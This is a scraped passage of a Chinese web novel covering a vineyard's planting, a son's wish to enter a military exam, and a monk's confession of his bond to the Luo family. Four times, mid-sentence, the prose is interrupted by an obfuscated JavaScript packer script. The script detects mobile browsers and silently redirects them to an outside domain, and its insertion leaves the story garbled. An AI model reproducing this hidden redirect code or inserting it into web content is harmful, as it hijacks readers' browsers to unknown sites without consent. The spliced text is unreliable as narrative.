孟知彰不是不好奇庄聿白如何说服的云先生。但庄聿白不主动开启这个话题，他也绝不会越界半步去窥探。 按照庄聿白的指示，孟知彰给每根枝藤浇透水，又将篮中干苔铺在枝藤根部，说有助于蓄水生长。 他自己也不清楚，为何就是这般没来由信任庄聿白。哪怕不知道对方就是自己的未婚夫郎时，便有种奇怪的安心感。 或许让他信任，让他安心的，只是眼前这个人。无关身份，无关名利，更无关其他。 孟知彰微微抬眸，庄聿白的身影映在粉蓝一片晚霞中，温柔得像个梦。美好又酸涩。 他不知道当年骆瞻为何中途命丧。但他知道，他孟知彰会拼劲全力、竭尽所能，绝不让云先生的遭遇出现在庄聿白身上。 * 不出意外，葡萄修剪后，云先生就病倒了。 虽不如此前那般严重，云无择还是寸步不离随侍左右。看着阿爹消瘦的身形，他不禁在想是不是自己错了。或许自己就不该跟阿爹提什么科举、武举之事。 这日天气晴好，云鹤年让儿子陪他在葡萄树下坐一坐。 修剪过后的葡萄树，疏朗不少，看着也精神许多。 “阿爹，您看！新长出的枝桠叶片，已经在将修剪的缺口慢慢填上了。” 顺着儿子的视线，云鹤年慢慢打量着这棵陪了自己近二十年的老朋友，猛一看上去确实有了些陌生，但这种改变，也不是无法接受。 新生叶片托举着阳光，“老朋友”似乎有些高兴。 光斑斜斜洒下来，打上云鹤年的睫羽，他半眯起眼睛，心中想着对庄聿白那日的话。 过去的美好，曾经的温情，这些人生所珍视的东西，永远值得珍重珍藏。可藏起来，就是唯一结局么、唯一归宿？ 若让所珍视的人或情感站在光里，让更多人看到，让它发出属于自己的光彩，或许…… 云鹤年没有继续想下去。他抬起眼眸看向儿子。 语言向来是苍白无力的。道理谁都懂，难的是心结，难的是迈出这最难的第一步。 “我听说武举是在长宁州比试？” “是的。”云无择心中一紧，他不知道阿爹为何突然提起此事。此前他瞒着阿爹报了名，首场比试就在七日后。虽然他不理解为何阿爹执意反对。但若为此惹阿爹伤心，这次比试不去也罢。 “阿爹……”云无择决心已下。 云鹤年却抬手打断了儿子的话。父子连心，云无择一个垂眸，他便知儿子要说什么。 “听闻长宁州的槐花蜜不错，你和你师父回来时带上两罐。其中一罐送给彰儿和他夫郎。” “阿爹！” 素来矜贵自持的云无择，先是怔了怔，再三确定阿爹不是哄骗自己时，竟像个孩子一样抱着阿爹撒起娇。 “早去早回。”云无择帮儿子理平蹭乱的头发。 云无择在长庚护送下前往长宁州参加武举第一站比试时，孟知彰和庄聿白正在家中认真照料这些葡萄幼崽们。 云鹤年人虽没去孟知彰家，但他每天让刘叔去看扦插葡萄藤的长势如何，对当前生长情况是了然于心：有几条生根了，有多少已经展叶了，藤枝粗壮的甚至第二个叶片已经生长出来了…… 云鹤年喜欢听刘叔讲这些，就像在听儿时的云无择功课读到哪一句，剑法练得熟不熟，长庚师父又教了他哪些新招式。 除了自身品种外，不同“风土”，可以赋予葡萄独特的风味，对后续葡萄酒品质及口感也会产生至关重要的影响。 庄聿白说需要在山中寻一处平坦的缓坡，排水性要好，向阳、采光要好，当然取水还要便利。 这些时日，云鹤年身子稍稍好转起来，便带着刘叔在山中慢慢转、慢慢巡。功夫不负有心人，还真找到这样一处地方，背山临水，视野开阔，往来行走也很便利。 庄聿白来看过后，也觉得好，认为是得天独厚的“天选”葡萄园。 当然“纯天然”的山地，没办法直接移栽葡萄幼苗。庄聿白请了几位种植经验丰富的乡邻，将这片葡萄园修整一番：先是翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019845|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耕一遍，将粗粝的大石、杂乱的树根荒草等悉数清走。之后撒上草木灰又翻了一遍算是杀菌消毒。最后才将山中腐殖质和家中自制肥料作为基肥，厚厚施在园中。 夏季，植物生长快。春秋扦插的葡萄藤三周左右才能生根长也。眼下半个月光景，育苗圃中已经生机盎然。目前成功扦插成活的有108棵幼苗，根系粗壮发达，每棵至少长出两个叶片，资质好些的，竟已经长出三四个叶片。 葡萄移栽这日，云先生一早便等在那里。 庄聿白换了大些的竹篮，幼苗放进去后，仍用浸湿的干苔保湿，篮子上面还盖了一层深色的麻葛巾布。和孟知彰一起，将这些小生命小心翼翼护送到他们即将安家的新天地。 云先生掀起巾布，往篮中看去。 这些时日他早做过心理准备，不过是些寻常葡萄苗，没什么大不了，但当他真真切切看到篮中躺着的这些小苗时，眸底心绪还是剧烈翻涌起来。 他极力克制颤抖的手，取出一株捧在手心。 当年他的阿瞻，给他带来的葡萄苗，也这般娇小，这般生机勃勃，带着倔劲。当年他也是这般捧在手心…… 云无择上来扶住阿爹，轻声提醒该早些移栽，日头升高后，小苗容易枯萎。 依照云鹤年的想法，他打算将每一株葡萄幼苗亲手栽进土中。然而一则自己精力跟不上，二则若真这般，怕是到正午也移栽不完。正午阳光暴晒，伤及幼苗就不好了。 最后云鹤年妥协了，他小心谨慎将幼苗一棵棵取出来，再由云无择、孟知彰和庄聿白三人亲自移栽到这片前景可观的葡萄园中。 之后请乡邻从旁边溪水中汲水灌溉的空档，众人陪云先生在这雏形初现的葡萄园中闲话。庄聿白说着未来酿酒建庄的规划。云无择听得神往，他视线一偏，竟从阿爹脸上看到从未有过的欣慰表情。 正说着，山路上来了三个人，远远高喊：“可是云无择、云公子府上！” 喜上加喜，云无择在长宁州武举比试中夺得第一名榜首。三人是来送信道喜的，顺便通知下一场比试定在八月初三，东盛府。 听到“东盛府”三个字，云鹤年立马变了脸色，半日只说了三个字：“不许去。” 云无择不明白为何已经走过长宁州的比试，到了东盛府，阿爹又死活不同意自己去参加。他找长庚师父去劝说劝说。 长庚先叹口气，冷峻的眸子沉了沉：“若是你阿爹不同意你去。我们就不去了吧。” 他将话说得委婉。很明显，也没有回旋余地。 云无择更不明白为何向来支持自己的师父，这次竟和阿爹站在一处。 长庚一早猜到云鹤年的反应。 不仅云鹤年不同意云无择去东盛府。私心来说，长庚也不同意云无择去。 骆家，就在东盛府。骆家这些年经营的根基产业，网织的资源人脉，也全在东盛府。 提起骆家，这位看惯世俗风云，这位戒贪戒嗔戒痴戒慢戒疑的武僧，眼底竟翻涌出一种强烈的情绪，有且只有这一种情绪： 仇恨。 此生不共戴天的仇恨。 56. 骆家 移入山中那一刻起，满园葡萄苗几乎是疯长起来。 破土穿石向下植根，抽枝展叶向阳伸展，百余株幼苗探着细嫩的藤蔓，憋足了劲儿。 如池鱼就渊，如故鸟归林。 云鹤年每日早晚各来园中一次，每次都要待很久。有时会走进苗间，轻声低语些什么，多数时候只站在那静静看着这满园绿意。似看眼前所见，也似看那永远看不见的景象。 不过刘叔开心的是，他家先生偶尔也会向前看，会问幼苗何时盘藤，何时挂穗。 “彰儿夫郎说今年植株生长为主，所有抽出的花穗全部不留。” 刘叔在旁给他家先生轻轻摇着扇子，眼睛里全是笑意：“记下了，记下了。这苗苗们才一尺多高，挂穗还有段时间呢。放心，我们天天看着，哪棵不听话先挂穗，我看到就摘。” 云鹤年知道刘叔在逗自己开心，笑着拿手指指他，扶着刘叔的胳膊在常设的椅子上坐下，眼眸沉了沉：“阿择近日是不是还在缠他师父？” 刘叔也收了笑，为难地点点头。 去府城比试之事，虽然长庚师父异常坚定地选择站阿爹一边，云无择还是觉得此事突破口就在这位看似不问世事的武僧身上。 “师父！上次州城也去了，你看并未出什么事，我们还顺顺利利拿了个榜首回来。府城就是远个一两日路程，到时我们找两匹快马，脚程加紧，说不定往返也就五六日。 向来不善言辞的长庚，被这个从小带大的徒儿缠得直挠头。他去禅房打坐，对方跟到禅房；他去练功场教习功夫，对方一路尾随过去；甚至他晚上就寝，云无择都要带着应龙守在一旁。 “府城不一样。听你阿爹的。” 长庚这次很坚持，也很强硬。 * 葡萄园中幼苗努力展叶爬蔓的时候，南时先生又派人来给孟知彰送书了。 距上次柳叔登门，隔着一月有余，这其间发生的诸多事情，南先生都从私塾先生的书信中悉数得知。 柳叔照例带来要抄写的书籍及抄书之资，并称这应该是院试前最后一次登门了，下次就在府城见了。 南先生带来最新院试消息，新学政将时间定在八月初三，希望孟知彰早些着手准备。 听到八月初三，孟知彰和庄聿白不约而同看了彼此一眼，很浅很轻的一个对视，两人却立马明白对方在想什么。 “书院后山有一所闲置院落，离城中也近，平时或采买、或去应试，都方便。南先生说了，到时会着人简单收拾出来，省得你们到了府城再花时间找住处。”柳叔笑着指指孟知彰，“南先生还说了，这是他的主意，不许违背，更不要跟他假客气。” 不等孟知彰道谢，刘叔忙又特意交代一句：“八月初正赶上府城秋季斗茶盛会，很是热闹，琥珀公子一定要同往哦！” 庄聿白笑答：“一定同往，我最爱热闹了！”后又跟了一句，“不知这院落多大，可否容我们带一两朋友同住？” “当然可以。院落虽简陋些，空屋子倒多，住个七八个人没问题的。” 云无择那边，云先生虽至今态度强硬，坚决反对他去府城参加下一轮比试。眼下还有一个月时间，万一期间云先生想通了呢？ 一时饭好，宾主落座。餐桌上听着金玉满堂和兰花炭的近况，柳叔很是高兴，不住笑着点头。 还特意将南先生的赞美之词尽可能转述出来，说庄聿白年纪虽轻，但经营有术且深谙此道，不仅将自己的小家经营得风生水起，还能惠及乡邻，帮扶有所需之人，实乃仁心仁义。 最后，柳叔极其郑重地朝庄聿白伸出拇指，给出自己的赞誉：“旺夫！” ……旺夫？！ 庄聿白心中一愣。这词是来形容自己的？回过味儿后，耳朵登时像被火燎了一般，又烫又疼。 不过这个词放在当下场合确实没毛病。外人看来，现在他庄聿白就是孟知彰的结发之人，而且既夸了庄聿白，也顺带恭维一句孟知彰，发自真心的。 别人当面夸赞你，出于正常社交礼仪，你怎么也要回几句“哪里哪里”“过誉过誉”。可旺夫二字直接把庄聿白整不会了，他试着张张口，却一句话也没能说出来。 好在此时他身边还有一个孟知彰。长辈面前孟知彰素来稳重守礼，这种场合，他完全应对得来。 庄聿白笑着垂下眼眸，手中筷子对对齐，看准了面前盘中的一块丝瓜，他打算装矜持，只等他的“官方夫婿”来救场。 果然，此时的孟知彰接收到庄聿白递来的信号，笑着冲柳叔拱拱手，自然地将席间对话接了过去。 “金玉满堂和兰花炭之外，琥珀新近还辟了一片葡萄园出来，一百余株葡萄苗长势极好。前期只需几名乡邻日常浇水除草即可。后面到剪枝控旺、立桩扶枝、以及冬季埋土护根时，需要更多乡邻来帮忙。琥珀说照料得当的话，明年便能开始少量挂果，到时或售果，或酿酒，都需要不少帮手。届时，不仅家中不再如从前那般捉襟见肘，整个孟家村的乡邻也都能从中受益一二。” 庄聿白没想到自己随口提过的葡萄种植养护流程以及后续安排，孟知彰竟然能这样清楚清晰地记住，不过别人夸自己就算了，他怎么也长篇大论夸个不停？ 庄聿白将那块丝瓜送入口中的空档，视线稍稍一偏，给了孟知彰一个“警告”的眼神。 孟知彰眼中暗不可察闪过一丝笑意。不知有意还是无心，庄聿白觉得身旁之人的手肘轻轻蹭了自己一下。他稍稍侧头看过去，却听对方正给当下的对话做了一个总结发言： “我家夫郎，确实旺夫！” 声音深沉，似又带着一丝压制不住的自鸣得意，甚至是卖弄。 不出所料，这顿饭的谈话没能再继续下去，以庄聿白被一块丝瓜呛得咳嗽不止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024686|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、脸红不止而匆匆收尾。 一时饭罢，柳叔临行前夫夫二人又包了两斤晾晒好的玉片，南先生或现炸现食，或分装送人都很便宜。当然兰花炭也带了一篓，足有十斤重。 “南先生爱茶，可以试试这炭如何。等下个月去府城赴试，天就慢慢凉下来了，到时再给南先生多带些过去。这炭放在手炉中也方便。” * 云无择听闻孟知彰的院试与他同一日，且连住处也帮他安排好了。少年满腔热血，这下更坐不住了。 长庚师父被他缠得烦，索性求了住持，住到住持院中的厢房里，并交代自己的一众小和尚们，若见到云无择，一定帮他拦住了。若是拦不住人，拦住了那只黑犬也是一样的，到时人人奖励一块蜜角糖。 孟知彰和庄聿白自是知道云无择的无奈。不过此事急不得。既然云先生迈出这第一步，允许云无择去武举比试，没理由拦在第二步。 也就是症结定是出在了府城这个地方。 跟着南先生旁学杂收的孟知彰，自然知道当年陇西骆氏的一些传说，只是那都是很久远的事情了。久到恐怕连现在的骆氏子孙们，都不甚清楚自家先祖当年抵御外敌、风靡西境的英勇事绩。 长庚师父是行伍出身，当年也曾浴血沙场，还是从陇西回来，不应该没听说过骆氏的威名。但这么多年来他一直以师父的身份，默默守在云无择身边，孟知彰觉得这其中一定大有文章。 从来不求神问佛的孟知彰和庄聿白，这日却带着一篮果品去了元觉寺。他们在后山住持院子外那闹吵吵一堆的小和尚中间遇到云无择，当然还有被一堆圆乎乎的小胳膊团团围住的应龙。 应龙某种意义上应该算是战犬，身姿矫健、威风凛凛，往日在山林中扑狐猎狼不在话下，可到了这群七八岁的小和尚面前，一时竟迷惘起来，耷拉着耳朵，一双求助的眼睛始终望向它的主人。 可站在它旁边的主人，情况也并没有好到哪里去。 好在孟知彰二人及时出现帮他解了围，并将一个挂到云无择背上的小和尚，给轻轻摘下来。 庄聿白和云无择一起将篮中果子逐一分发到一个个举得高高的小手中时，孟知彰走进长庚师父所在的厢房。 云无择不知道自己这位朋友如何劝说的。小和尚们将一篮果品全部清空，并缠着庄聿白和云无择下次来时再多带些。 十来个小孩子一齐大声说话，同时精力旺盛地围着二人上蹿下跳、左扑右拽，庄聿白觉得自己马上要感官失能了。 院外正闹得不可开交，厢房的房门开了，小和尚们瞬时住了声。这突如其来的安静，愈发震耳欲聋。庄聿白和云无择的心，瞬时提起来。 长庚师父一脸严肃地走到云无择跟前，或许因为情绪过于压抑，额上青筋隐隐爆出。 “我随你去见你阿爹。但最后能不能去，还要看你阿爹的想法。” 57. 长庚 蝉鸣声浪，随着手中羽扇的节奏，轻轻摇碎在微微晃动的林荫下。 云鹤年坐在椅中，半眯着眼，视线由近而远将缓坡下的每一株葡萄幼苗又过了一遍。日日来看，倒不觉得有什么太大变化，可细想想刚移栽十数日，每一株都已近两尺高。 云鹤年对葡萄苗的长势很满意。他朝身旁的空椅看了眼，他知道今日长庚师父会来，但他不知道长庚会带什么来。 在云鹤年看来，长庚不苟言笑，整日阴着张冷厉的脸，俨然一尊游离世外的冷面罗汉。 认识这么多年，他自认为与儿子的这位师父尚还停留在泛泛的点头之交。素日长庚倒经常派人来送东西，只是他们几乎很少见面。为数不多的几次交谈，也全部和云无择有关。 在云鹤年这个喜散不喜聚的人看来，都认为有些过于疏离、甚至过于违背常理了。可在阿择面前的长庚，却又换了一副模样，让人觉得这也是一个有血有肉的凡人，会笑，会焦急，似乎也有不为人知的烦恼。 或许这就是元觉寺元一住持说的缘分？ 云鹤年生性恬淡，不喜与人结交。加上人生骤变，躲进山中守墓的他，常年闭门谢客。偶有过路的猎户樵夫等，也都知这山中住了个怪怪的哥儿，尽量离得远些，免得扰了他的清净。若不是元一住持将长庚带至家中，在云鹤年看来，此生他与长庚不会有任何交集。 骆瞻刚过世那几年，云鹤年强撑着一口气才勉强活下来。他偶尔想起那几年的记忆，也只剩一团混沌。一颗心无依无附，埋压在暗无天日的密林之下，就像梅雨天的竹林，湿漉漉，凄冷冷，空荡荡。整个人也如同行尸走肉，麻木浑噩地带着一个不时哭闹的孩子。 元一住持心存悲悯，觉得云鹤年凄苦，不时来探望。也是一个雨天，或许是晴天，云鹤年已记不太清。元一住持来的时候，后面跟了位僧人，巍然魁梧，一进门就将门口并不富裕的光线给挡住大半。 元一住持介绍说这位是长庚师父，他自己年纪大了，走山路腿脚跟不上，今后长庚会代他来走动走动。云鹤年原想拒绝，好在长庚不喜言辞，每次来也只放下东西就走。后来阿择长大了些，他便一拳一式亲自带着教习功夫。云鹤年和他的关系，这么多年来也仅限于见面后颔首致意。 除了他们父子和刘叔外，长庚是这个家中进出最多的人。但他却又像一条沉默又锋利的影子，藏住棱角，收起锋芒，静静来，悄悄去，尽量不留下任何痕迹，也不打扰葡萄架上任何一片迎风颤动的叶子。 以至于除了他叫长庚，功夫了得，待阿择极好极有耐心之外，云鹤年对这个武僧几乎一无所知。 他不同意儿子参加武举，料到儿子定会去搬这位师父来当说客。果不其然，长庚不仅自己来劝，还带了元一主持一起来。 不过自己坚决反对儿子去府城一事，云鹤年没想到的是，向来对阿择言听计从、百依百顺到近乎溺爱的长庚，这次竟然会站自己这一边。 夏日风浪吹在脸上，暖熏熏的。羽扇紧摇几下，赶不走的蝉鸣，又给这午后林下之风增添了几分燥气。 身后脚步声起，明显是故意加重的，提醒自己有人来了。 云鹤年缓缓回头，羽扇轻摇，看清来人后，点头示意对方一起落座。 来人垂下眼眸，他看了眼旁边的空椅，几步绕过，站定在云鹤年跟前，像是隔着几十年的时间和风雨，像是平生第一次见面，朝云鹤年深深行了一个礼。 “云先生，你好。”来人深吸一口气，暗自下定了某种决心，“在下长庚，昭武校尉骆毅的近侍随从。” “……骆毅？！”羽扇滞在半空，良久。 云鹤年自然知道此人。他是骆瞻的父亲，自己儿子的祖父。二十五年前死于西境一场恶战。 夏风卷过葡萄叶底，枝蔓和叶片不停颤动起来。长庚，这位在云鹤年身边“潜伏”了十数年之久的人，第一次也是唯一一次向人介绍起自己的身世。 长庚，原本是个孤儿。从记事起便如一棵野草在西境荒地上流浪。冬日猎狐，秋日逐兔，真正的以天为盖地为庐。 有一年冬天，天冷得出奇，猎物也少得出奇。饿了两天的长庚，顶着遇到狼群的风险，还是决定到更远的地方搏一搏。 上苍眷顾这个可怜的孩子，很快让他捕到一只獐子。他已经很小心处理食物了，但獐子的血腥气还是惊动到附近同样饥肠辘辘的狼群。 单人哪抵得过应战有序的群狼，何况还是个赤手空拳的孩子。 日常巡逻的骆毅，听着动静不对，带一支骑兵赶到战场时，小长庚正死死咬住一只公狼的喉咙。 全身没有一片完整血肉的小长庚被带回营帐，连随军医官看了都不停摇头，说救不活的，不住劝骆毅，与其让这孩子一点一点生生痛死，不如给他一个痛快。 骆毅看向臂弯中的孩子，和家中儿子年岁相仿，黝黑的眼睛正死死盯着自己，就像两块倔强的顽石。他心生不忍，问：“你想活下去吗？” 顽石眨眨眼。 骆毅将人带在身边，亲自照料着，一条命终究抢了回来。 “长庚”这个名字也是骆毅起的，因为将他捡回来那天，恰好长庚星闪耀天侧。 长庚跟着骆毅征战厮杀，学习剑术骑射，也学习排兵布阵。骆毅教什么他便学什么，骆毅说不可以做什么，他便立马住手。骆毅是他的恩人，是他的主子，也是他此生唯一的亲人。 军中数年，长庚自然知道骆毅威名，他是横扫西境、令戎狄闻之丧胆的骆家昭武校尉。凡骆校尉冲锋陷阵的战斗，十战至少九胜。有时敌军探得先锋部队有个“骆”字，竟会直接不战而退。 长庚是在枯草横斜的冬季遇到的他的恩人骆毅，也是在同样一个冰冻三尺的日子，眼睁睁看着骆毅死在自己怀中。 那只是一次寻常追击，骆毅带领的骑兵团也并未赶尽杀绝，正准备收兵回营时，途中却出现十倍兵力的伏兵，漫天大雪纷纷扬扬，猩红色的雪花层层落下，滚烫红梅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15028544|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开遍荒野。 或许是对战况评估有误，或许是遭人暗算中计被狙，当时只是一个小小的兵卒的长庚，根本无从调查考证。他只知道骆毅被乱箭射中从马上滚落时，他的天，塌了。 凭着狼群厮杀的一股野性，长庚将骆毅从死人堆抢了出来。 雪未停，血未停。 冰冷洁白的雪片从天上飘落，浸入骆毅身上汩汩溢出的滚烫鲜血，瞬间没了踪影。 大雪模糊了长庚的视线，他自制雪橇，拉着骆毅的遗体，就在这白茫茫天地间，不停走，不停走。从一片雪地，走向另一片雪地。或许他知道方向，或许他也不知道该去何方。 他没有落泪。骆毅说过，作为男儿，不论什么时候都不能哭。他没有哭，他只是呼吸太重，在睫毛上结了一层又一层的白霜，擦掉还结，拂去仍有。 骆毅临终时口中仍念着自己家中妻儿。 长庚也不记得自己花了多长时间，用了多少精力，才将骆毅的灵柩送回骆家。他看着骆瞻孤儿寡母，除了愧疚自责，一心要留在他们身边，报恩，赎罪。 骆瞻母亲最后还是拒绝了他，她让长庚去过自己的生活，她不需要什么报恩，若论赎罪，也罪不及他。 长庚这条命，都是骆毅给的，他却未能护骆毅周全。他理解骆毅妻儿的决定，但他自己此生已经完全没了光亮。正当他准备了此一生时，却被云游至此的元一大师劝下。 之后，他跟着元一大师来到元觉寺成为一名武僧。 后来，长庚再得知骆家的消息时，便是骆瞻考中进士，二甲第八名。 长庚这些年在寺院，也攒了几两银子，听闻骆瞻金榜高中，高兴得像个孩子，逢人便问该准备什么礼物。等他用所有积蓄买了一个玉质无事牌，祈愿骆瞻健康长寿、平安无事时，听到的却是骆瞻的死讯。 长庚觉得是自己命硬，克死了骆氏父子。再后来，他得知骆瞻还有个遗腹子无择，以免自己的硬命克到这仅存的骆家骨血，也怕云鹤年知道自己的身份后像当年骆瞻母亲一样将自己赶走，他选择隐藏自己与骆家的关系。只以师徒身份，陪在云无择身边，并时常看顾接济父子二人。 暑热一阵阵翻涌过来，面上热浪炙烤，云鹤年的心中却如坠冰窖，一阵凉似一阵，他冷得发抖，手中羽扇不受控地在抖。 “男儿应志在四方，有家、有国、有天下。马革裹尸、战死沙场，又何足惜。这是骆校尉教我的道理。” “阿择是云先生的孩子，他也是骆毅之孙，骆瞻之子。他血液中是报国安民的志向，也是兼济天下的抱负。” 长庚将孟知彰的话，全部带到，然后朝云鹤年深深行了一礼，转身离开前，又补了一句，“无论阿择去哪里，我长庚此生，必生死护随左右。” 长庚离开后，云鹤年自己一个人在这篇葡萄园中站了很久，很久。 或许他真的错了。 或许一开始就应该让葡萄藤苗自己选择他自己想要植根的天地。 58. 渴水 院试是家中头等大事，时间只剩一个月。 庄聿白将家中银两又盘了盘。 夏收前家中攒了12两银子。这一两个月里，兰花炭除了每月固定的的4两，还有1单追加的2两。金玉满堂货郎张日常渠道和平时接的订单一共入账11两。孟知彰抄书所得2两。存款加上入账部分有31两。 不过近来家中支出项也比较多。制炭工具等全套下来花费2两银子，家中夏收、秋种，以及金玉满堂制作、葡萄园开辟、管理等人工费用支出共3.5两银子。此外还有孟知彰笔墨纸张花费、家中衣食住行日常消费支出，好在菜园子省下青菜部分开销，杂七杂八算下来也有2两银子。 庄聿白掂了掂钱袋子，目前家中存款23.5两。到月底出发时，应该还能攒个6两左右。这30两银子握在手里，似乎也有了些底气。 好在府城的住处有了着落。庄聿白同缘来茶坊的周掌柜谈听过，府城普通客栈住宿每间房一天也需要个三四百文银子。一百文的也有，就是远、偏、条件也差。孟知彰是去考试的，关乎家庭未来，这点银子断不能省。前后待个五六日，这一项上省下很可观的一笔支出。 正想着如何安排往返交通时，刘叔拎着个食盒满脸堆笑地走了来。 “这次云先生又给我们送什么好吃的？”庄聿白忙笑着迎出去，接过食盒放在院中藤桌上。 “琥珀公子猜猜！”刘叔笑呵呵将食盒盖打开，示意庄聿白往里看。 庄聿白循着视线看去，是一串熟透的葡萄！ 果串紧密，通体深红发紫，用紫黑色评价也不为过，每颗上面均匀裹着一层果粉白霜，颗颗圆润饱满，似乎一碰就会汁水迸裂。 “两位公子忙，这些日子都没得空去家中坐坐。先生自己还说，多亏了庄公子，往年也就能挂二十几串葡萄，今年修剪之后，长成的葡萄有四五十串呢，个头也大了不少。眼下已经熟了四串。元一住持和长庚师父那里送过去两串，这一大串特意给两位公子尝尝鲜，我们公子爱吃葡萄，先生留了一串。” 说话的空档，庄聿白早摘了几颗送进嘴里。 一口爆汁，果皮紧厚，肉嫩有籽。因为完全熟透，生青的酸涩感已去，带皮吃，唇齿间蕴满浓郁的果香。 相比现在市面上水果葡萄只一味追求糖度，恨不能进化成完全是一球糖水，这种树上完熟的半野生葡萄或者酿酒葡萄，口感层次要更丰富。初尝不会很甜，但后韵十足，细品甚至能感受到馥郁悠扬、余韵难歇的花香。很奇妙。 庄聿白又尝了两颗，更加确定，品种像极了现代葡萄酒霸主赤霞珠。他也越发肯定这将是极好的酿酒材料，单看这一层果粉，洁净细腻，自带极佳的天然葡萄酒发酵酵母。用来酿酒，稳了。 见庄聿白对葡萄赞不绝口，刘叔心中也高兴，当然他更高兴的是近来他家先生脸上似乎也多了些笑意。刘叔从食盒中又拿出一个瓷罐，开盖后未及靠近，一股浓稠果浆的香味便飘了出来。 “先生挑了两串半生的葡萄，让我做成这葡萄渴水，给两位公子也试试。”刘叔递到庄聿白跟前，补充，“饮用时木匙挑出一些，沸水冲开即可，很方便的。” 庄聿白对这葡萄渴水很感兴趣，缠着刘叔传授制法。刘叔笑说：“不复杂的。即将转色变熟的葡萄取下，擂碎滤去渣滓，以慢火熬，汤汁稠浓为度，之后倒入干净的瓷器中储存即可。若喜欢甜食，还可以倒入一些蜂蜜。” 庄聿白从菜园中拔了两颗菘菜给刘叔带上。刘叔笑着收下，说：“差点忘了正事。这次去府城，我家公子通往，长庚师父自是随行的。长庚师父已经问寺中借出2匹马和1辆马车，到时长庚师父与我家公子一人一骑，马车留给两位公子乘坐。” 庄聿白拍手道谢，发自内心的谢，他没想到吃葡萄的功夫，竟然将府城之行的交通也安顿下来。 前脚送走刘叔，后脚缘来茶坊掌柜周青来访。这算是稀客。 不过也能理解，秋日斗茶盛会和院试赶在一起，周青这次亲自登门，也是希望庄聿白对府城斗茶时多用的茶炭能给到些建议。 不等周青开口，庄聿白便道：“预祝周掌柜此次在府城一举夺魁！这次的兰花炭，自当比平日还要上心。周掌柜尽管放心。” 与明白人合作就是好，周掌柜神情舒缓下来。 他听闻庄聿白家书郎要去府试，特备了些布匹、笔墨纸砚等物，以及专门去元觉寺请来的福袋，又说了些祝愿孟书郎院试顺利的吉祥话，又问孟书郎是否需要和他们商队一同前往府城。 庄聿白谢过好意，说家中已有安排。话聊到这里，原该说些告辞不送之类的寒暄话，周青却仍坐在那里，神情踌踌躇躇。 半日，将口中茶喝了两口，眼眸一沉，叹了口气：“眼下对斗茶赢取名次虽然志在必得，但万事总有个万一。若是天不遂人愿，想来茶坊生意便会受影响，恐怕这兰花炭的需求……” 话没说完，庄聿白立刻明白。根据约定每月200斤兰花炭固定采买量，若有增订提前通知。缘来茶坊的先在吃的还是春季斗茶时的那波红利，若是此次秋季斗茶失利，恐怕难免“降本增效”，每月定额200斤便需要减量了。 周青怕庄聿白多想，忙又补充：“这兰花炭委实是好东西，我听闻窑上不仅支撑着牛氏一家生计，孟家村乡邻也能贴补些家用。此前契约中写的是，这兰花炭在暨县唯我缘来茶坊一家所用，我周青是生意人，难免追逐利益，可……” “周掌柜，有话不妨直说。” 周青有些为难：“若我一家茶坊所需，撑不起这每月窑中供给之量，或者琥珀公子便将‘暨县专属供给’这一条作罢。” 庄聿白笑笑，点头让周青安心：“君子一诺重千金，退一万步讲，即便周掌柜今后不用我这兰花炭，但暨县范围内这兰花炭也只售缘来茶坊一家。” 周青郑重拱手：“生意是生意，交情是交情，哪怕今后生意断了，你我交情永远在。琥珀公子若有任何需求，我周青随叫随到。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15031495|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “周掌柜放心，秋季斗茶清会上，定会有兰因茶的一席之地。”庄聿白将人送至门外，“兰花炭烹兰因茶，枕霞水飨知茶人。这枕霞溪的水，也请多多带上些。” * 一月时间，说快也快。往返来回要6个整天，府城再待个几日，等到放榜回来少说也要半个月了。 家中诸事孟知彰和庄聿白边商量边细细做着安排。 金玉满堂的玉片坯，庄聿白多备出一个月的量，全部交给货郎张，他根据每日所需，现炸现售即可。若有额外订单，等回来之后再说。 茶炭方面，有牛叔在，庄聿白没什么不放心，此前他让窑上陆陆续续多做出200斤说带去府城，牛大有一早预备在那。 